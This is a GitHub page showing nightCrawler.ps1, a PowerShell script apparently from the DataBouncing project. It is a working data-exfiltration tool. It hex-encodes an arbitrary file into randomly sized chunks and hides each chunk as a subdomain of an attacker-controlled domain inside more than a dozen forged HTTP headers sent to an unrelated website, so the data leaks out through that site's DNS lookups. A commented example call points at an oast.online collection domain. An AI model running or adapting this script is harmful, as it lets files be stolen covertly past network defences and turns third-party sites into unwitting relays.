forked from xcalibure2/DataBouncing
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnightCrawler.ps1
More file actions
111 lines (92 loc) · 3.51 KB
/
nightCrawler.ps1
File metadata and controls
111 lines (92 loc) · 3.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
function vanish {
param (
[string]$regex,
[string]$domain,
[string]$url,
[string]$filepath,
[string]$saveAs
)
function Convert-FileToHexChunks {
param(
[Parameter(Mandatory=$true)]
[string]$FilePath
)
try {
# Get the name of the file
$ext = [System.IO.Path]::GetExtension($filepath).TrimStart('.')
# Read the file as a byte array
$bytes = [System.IO.File]::ReadAllBytes($FilePath)
# Convert each byte to hexadecimal and join them into a string
$hexString = ($bytes | ForEach-Object { "{0:X2}" -f $_ }) -join ''
# Create an array to hold the chunks
$chunks = @()
$index = 0
# Cut the hex string into random-sized chunks
while ($index -lt $hexString.Length) {
# Randomly determine the length of the next chunk (between 14 and 18)
$chunkLength = Get-Random -Minimum 14 -Maximum 19
$chunks += $hexString.Substring($index, [Math]::Min($chunkLength, $hexString.Length - $index))
$index += $chunkLength
}
# Create a PSObject to store the chunks
$hexObject = New-Object PSObject
# Generate a random hex string of 8-16 characters for the first segment
$hexExt = [BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($ext)).Replace('-', '')
$hexName = [BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($saveAs)).Replace('-', '')
# Randomly select a separator for the total number of segments
$totalSeparator = 'H'
$hexObject | Add-Member -MemberType NoteProperty -Name 1 -Value ('j' + $chunks.Count.ToString() + $totalSeparator + $hexExt + $totalSeparator + $hexName +'j')
for ($i = 0; $i -lt $chunks.Count; $i++) {
# Randomly select a separator from G, H, I for each chunk
$separator = Get-Random -InputObject @('G', 'H', 'I')
# Add each chunk as a property to the object
# Prepend each chunk with its segment number and a random separator
$segmentLabel = ($i + 1).ToString() + $separator
$hexObject | Add-Member -MemberType NoteProperty -Name ($i + 2) -Value ($segmentLabel + $chunks[$i])
}
# Return the object
return $hexObject
}
catch {
Write-Error "An error occurred: $_"
}
}
function Send-CustomRequest {
param (
[string]$Url,
[string]$Domain
)
$headers = @{
"Host" = "host.$Url.$Domain"
"Accept" = "*/*"
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
"Origin" = "https://$Url"
"X-Forwarded-For" = "xff.$Url.$Domain"
"X-Wap-Profile" = "http://wafp.$Url.$Domain/wap.xml"
"CF-Connecting_IP" = "cfcon.$Url.$Domain"
"Contact" = "root@contact.$Url.$Domain"
"X-Real-IP" = "rip.$Url.$Domain"
"True-Client-IP" = "trip.$Url.$Domain"
"X-Client-IP" = "xclip.$Url.$Domain"
"Forwarded" = "for=ff.$Url.$Domain"
"X-Originating-IP" = "origip.$Url.$Domain"
"Client-IP" = "clip.$Url.$Domain"
"Referer" = "ref.$Url.$Domain"
"From" = "root@from.$Url.$Domain"
}
try {
$response = Invoke-WebRequest -Uri $Url -Headers $headers
return $response
} catch {
Write-Error "Error: $_"
}
}
$segments = Convert-FileToHexChunks -FilePath $filepath
foreach ($segment in $segments.PSObject.Properties) {
$secret = $segment.Value;
Write-Host "Sending Headers to ${url} using ${regex}.${secret}.${domain}.."
send-customRequest -Url "$url" -Domain "$regex.$secret.$domain" >$null 2>&1
sleep 1
}
}
# vanish -regex 'xregex' -domain 'clndh3qilvdv6403g1n0hs3rhd6xpfmjn.oast.online' -url 'example.com' -filepath .\DB-Test.txt